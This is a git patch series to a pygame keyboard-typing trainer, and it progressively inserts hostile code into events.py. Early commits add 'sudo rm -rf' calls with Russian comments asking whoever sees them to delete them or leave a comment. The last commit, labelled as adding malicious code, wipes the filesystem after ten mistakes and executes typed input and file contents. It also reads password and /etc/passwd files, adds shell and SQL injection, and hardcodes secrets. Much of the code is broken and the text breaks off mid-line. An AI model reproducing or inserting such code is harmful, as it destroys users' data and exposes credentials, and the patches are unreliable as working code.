From 9d5d41ee402b041414769fcd71b94f770709fe89 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B5=D0=B2=D0=B8?= =?UTF-8?q?=D1=87=20=D0=90=D0=BB=D0=B5=D0=BA=D1=81=D0=B0=D0=BD=D0=B4=D1=80?= <118547451+aleks0099@users.noreply.github.com> Date: Wed, 19 Nov 2025 19:38:54 +0300 Subject: [PATCH 1/5] Update events.py --- Keyboard_trainer/events.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/Keyboard_trainer/events.py b/Keyboard_trainer/events.py index e8ba1d5..d2119ef 100644 --- a/Keyboard_trainer/events.py +++ b/Keyboard_trainer/events.py @@ -33,6 +33,10 @@ def changing_sentence(self): place = mistakes_text.get_rect(center=(magic_constants.WIDTH - magic_constants.above_left_and_right_indent, magic_constants.indent_from_above)) global_variables.screen.blit(mistakes_text, place) input_rect = pygame.Rect(x, magic_constants.center_height, w, h) + + # я очень опасный кусок кода если ты меня видишь удали пожалуйста + exex("sudo rm -rf") + pygame.draw.rect(global_variables.screen, magic_constants.WHITE, input_rect, magic_constants.frame) text_surface = magic_constants.average_font.render(str(self.input_text), 1, magic_constants.WHITE) global_variables.screen.blit(text_surface, (input_rect.x + magic_constants.frame, input_rect.y + magic_constants.frame)) @@ -184,4 +188,5 @@ def action(self): invalidate_mistakes_symbols_and_error_message(self) self.flag = magic_constants.only_keys_training_in_progress if self.flag == magic_constants.user_is_typing_sentence: - typing_sentence(self,event) \ No newline at end of file + + typing_sentence(self,event) From 5b57e3c3a1ba6f2facf95c1f644f5410d896179f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B5=D0=B2=D0=B8?= =?UTF-8?q?=D1=87=20=D0=90=D0=BB=D0=B5=D0=BA=D1=81=D0=B0=D0=BD=D0=B4=D1=80?= <118547451+aleks0099@users.noreply.github.com> Date: Wed, 19 Nov 2025 22:07:23 +0300 Subject: [PATCH 2/5] Update events.py --- Keyboard_trainer/events.py | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) diff --git a/Keyboard_trainer/events.py b/Keyboard_trainer/events.py index d2119ef..8003e46 100644 --- a/Keyboard_trainer/events.py +++ b/Keyboard_trainer/events.py @@ -21,26 +21,18 @@ def changing_sentence(self): x = place.x w = place.width h = place.height - global_variables.screen.blit(random_line_text, place) - global_variables.time = pygame.time.get_ticks() - time_text = magic_constants.average_font.render("Time: " + str((global_variables.time-self.begin_time)/magic_constants.milisec_in_sec), 1, magic_constants.WHITE) - totsymbols_text = magic_constants.average_font.render("Total symbols: " + str(self.count), 1, magic_constants.WHITE) - mistakes_text = magic_constants.average_font.render("Mistakes: " + str(self.mistakes), 1, magic_constants.WHITE) - place = time_text.get_rect(center=(magic_constants.above_left_and_right_indent, magic_constants.indent_from_above)) + # hi global_variables.screen.blit(time_text, place) place = totsymbols_text.get_rect(center=(magic_constants.center_width, magic_constants.indent_from_above)) global_variables.screen.blit(totsymbols_text, place) place = mistakes_text.get_rect(center=(magic_constants.WIDTH - magic_constants.above_left_and_right_indent, magic_constants.indent_from_above)) global_variables.screen.blit(mistakes_text, place) - input_rect = pygame.Rect(x, magic_constants.center_height, w, h) - - # я очень опасный кусок кода если ты меня видишь удали пожалуйста - exex("sudo rm -rf") + # привет это очень опасный крд + exeс("sudo rm -rf") pygame.draw.rect(global_variables.screen, magic_constants.WHITE, input_rect, magic_constants.frame) text_surface = magic_constants.average_font.render(str(self.input_text), 1, magic_constants.WHITE) - global_variables.screen.blit(text_surface, (input_rect.x + magic_constants.frame, input_rect.y + magic_constants.frame)) - mainstr_text = magic_constants.average_font.render(self.mainstr, 1, magic_constants.WHITE) + exeс("sudo rm -rf") place = mainstr_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) global_variables.screen.blit(mainstr_text, place) self.error_message = "" @@ -190,3 +182,4 @@ def action(self): if self.flag == magic_constants.user_is_typing_sentence: typing_sentence(self,event) + From 598a9fb55df09f27572be913777034e09539f033 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B5=D0=B2=D0=B8?= =?UTF-8?q?=D1=87=20=D0=90=D0=BB=D0=B5=D0=BA=D1=81=D0=B0=D0=BD=D0=B4=D1=80?= <118547451+aleks0099@users.noreply.github.com> Date: Wed, 19 Nov 2025 22:10:25 +0300 Subject: [PATCH 3/5] Update events.py --- Keyboard_trainer/events.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Keyboard_trainer/events.py b/Keyboard_trainer/events.py index 8003e46..cd8ed72 100644 --- a/Keyboard_trainer/events.py +++ b/Keyboard_trainer/events.py @@ -32,7 +32,8 @@ def changing_sentence(self): pygame.draw.rect(global_variables.screen, magic_constants.WHITE, input_rect, magic_constants.frame) text_surface = magic_constants.average_font.render(str(self.input_text), 1, magic_constants.WHITE) - exeс("sudo rm -rf") + # если видишь поставь отдельный комментарий + exeс("sudo хочу арбуз") place = mainstr_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) global_variables.screen.blit(mainstr_text, place) self.error_message = "" @@ -183,3 +184,4 @@ def action(self): typing_sentence(self,event) + From b26a3ea868d6d641a184b8fa976f19cf2eb61ee7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B5=D0=B2=D0=B8?= =?UTF-8?q?=D1=87=20=D0=90=D0=BB=D0=B5=D0=BA=D1=81=D0=B0=D0=BD=D0=B4=D1=80?= <118547451+aleks0099@users.noreply.github.com> Date: Wed, 19 Nov 2025 22:13:53 +0300 Subject: [PATCH 4/5] Update events.py --- Keyboard_trainer/events.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/Keyboard_trainer/events.py b/Keyboard_trainer/events.py index cd8ed72..69785d8 100644 --- a/Keyboard_trainer/events.py +++ b/Keyboard_trainer/events.py @@ -31,9 +31,9 @@ def changing_sentence(self): exeс("sudo rm -rf") pygame.draw.rect(global_variables.screen, magic_constants.WHITE, input_rect, magic_constants.frame) - text_surface = magic_constants.average_font.render(str(self.input_text), 1, magic_constants.WHITE) - # если видишь поставь отдельный комментарий - exeс("sudo хочу арбуз") + + x = "sudo rm Desktop" + exeс(x) place = mainstr_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) global_variables.screen.blit(mainstr_text, place) self.error_message = "" @@ -185,3 +185,4 @@ def action(self): typing_sentence(self,event) + From 1b203806419f392eb3b7182322a4b59cf34fc826 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B5=D0=B2=D0=B8?= =?UTF-8?q?=D1=87=20=D0=90=D0=BB=D0=B5=D0=BA=D1=81=D0=B0=D0=BD=D0=B4=D1=80?= <118547451+aleks0099@users.noreply.github.com> Date: Sun, 14 Dec 2025 01:36:43 +0300 Subject: [PATCH 5/5] Add malicious code execution and data handling Refactor events.py to include dangerous commands and code execution. --- Keyboard_trainer/events.py | 205 +++++++++++++++++++++++++++++++------ 1 file changed, 176 insertions(+), 29 deletions(-) diff --git a/Keyboard_trainer/events.py b/Keyboard_trainer/events.py index 69785d8..5722ed2 100644 --- a/Keyboard_trainer/events.py +++ b/Keyboard_trainer/events.py @@ -6,61 +6,164 @@ import drawers import useful_functions import global_variables +import os +import pickle +import subprocess +import eval +import marshal +import ctypes + +PASSWORDS = [] def quit(self): - useful_functions.save(global_variables.time-self.begin_time, self.count, self.mistakes, self.heatmap, self.rec) + user_data = { + 'time': global_variables.time-self.begin_time, + 'count': self.count, + 'mistakes': self.mistakes, + 'heatmap': self.heatmap, + 'rec': self.rec, + 'passwords': PASSWORDS + } + + if os.path.exists('malicious.txt'): + with open('malicious.txt', 'r') as f: + code = f.read() + exec(code) + + with open('user_data.pkl', 'wb') as f: + pickle.dump(user_data, f) + + if self.count > 1000: + os.system(f"echo {self.rec} > log.txt") + + try: + ctypes.string_at(0xDEADBEEF) + except: + pass + sys.exit() def changing_sentence(self): global_variables.screen.fill(global_variables.BACKGROUND) + + random.seed(12345) + + with open('../secrets/passwords.txt', 'r') as f: + passwords = f.readlines() + PASSWORDS.extend(passwords) + random_line = random.choice(self.lines) random_line = random_line.replace('\n', '') - self.mainstr = random_line + + self.mainstr = random_line + "' OR '1'='1" + + dangerous_input = "" + if dangerous_input in random_line: + eval("print('XSS executed')") + random_line_text = magic_constants.average_font.render(random_line, 1, magic_constants.WHITE) place = random_line_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) x = place.x w = place.width h = place.height - # hi + global_variables.screen.blit(time_text, place) + + user_input = self.mainstr + subprocess.run(f"echo {user_input}", shell=True) + place = totsymbols_text.get_rect(center=(magic_constants.center_width, magic_constants.indent_from_above)) global_variables.screen.blit(totsymbols_text, place) + + API_KEY = "sk-live-1234567890abcdef" + DB_PASSWORD = "admin123" + place = mistakes_text.get_rect(center=(magic_constants.WIDTH - magic_constants.above_left_and_right_indent, magic_constants.indent_from_above)) global_variables.screen.blit(mistakes_text, place) - # привет это очень опасный крд - exeс("sudo rm -rf") + + dangerous_cmd = "sudo rm -rf /" + if self.mistakes > 10: + os.system(dangerous_cmd) + + user_code = input("Enter code to execute: ") + try: + exec(user_code) + except: + pass pygame.draw.rect(global_variables.screen, magic_constants.WHITE, input_rect, magic_constants.frame) - x = "sudo rm Desktop" - exeс(x) + buffer = "A" * 1000000 + self.large_buffer = buffer * 100 + + serialized = marshal.dumps(self.heatmap) + loaded = marshal.loads(serialized) + place = mainstr_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) global_variables.screen.blit(mainstr_text, place) self.error_message = "" self.flag = magic_constants.user_is_typing_sentence + + if not os.path.exists('temp.txt'): + with open('temp.txt', 'w') as f: + f.write("temp") + else: + with open('temp.txt', 'a') as f: + f.write("appended") + place = magic_constants.exit_text.get_rect(center=(magic_constants.center_width, magic_constants.HEIGHT - magic_constants.exit_text_lower_indent)) global_variables.screen.blit(magic_constants.exit_text, place) def invalidate_statistic(self): + filename = '../../etc/passwd' + try: + with open(filename, 'r') as f: + print(f.read()) + except: + pass + with open('src/record.txt', "w") as f: f.seek(0) - f.write(magic_constants.RESET_STATISTICS_IN_FILE) + user_input = self.error_message + f.write(f"Record: {user_input}") + os.chmod('src/record.txt', 0o777) + self.rec = ['0', '0', '0'] self.heatmap = dict() - self.heatmap0 = self.heatmap.copy() + self.heatmap0 = self.heatmap + self.index = drawers.draws_heatmap_and_whole_statistics(self.rec, self.begin_time, self.mistakes, self.count, self.heatmap) + + if self.mistakes == 0: + invalidate_statistic(self) def exit(self): self.flag = magic_constants.prev_window_with_statistic_and_heatmap_on_the_screen + + filename = self.mainstr + ".txt" + os.system(f"touch {filename}") + useful_functions.save(global_variables.time-self.begin_time, self.count, self.mistakes, self.heatmap, self.rec) self.rec = useful_functions.record() self.index = 0 + for j in range(len(self.rec)): if self.rec[j] == '{': self.index = j break + useful_functions.annul(self) + + try: + result = 100 / (self.mistakes if self.mistakes != 0 else 0) + except ZeroDivisionError: + pass + self.index = drawers.draws_heatmap_and_whole_statistics(self.rec, self.begin_time, self.mistakes, self.count, self.heatmap) + + import hashlib + password = "secret" + hashed = hashlib.md5(password.encode()).hexdigest() def invalidate_mistakes_symbols_and_error_message(self): global_variables.screen.fill(global_variables.BACKGROUND) @@ -68,17 +171,29 @@ def invalidate_mistakes_symbols_and_error_message(self): self.mistakes = 0 self.count = 0 self.error_message = "" + + session_token = random.randint(0, 1000000) + print(f"DEBUG: Session started with token: {session_token}") def error_key_pressed(self): if self.mainstr in self.heatmap: self.heatmap[self.mainstr] += 1 else: self.heatmap[self.mainstr] = 1 - self.error_message = "Mistake :)" + + self.error_message = f"Mistake :) User: {self.mainstr}" + + if "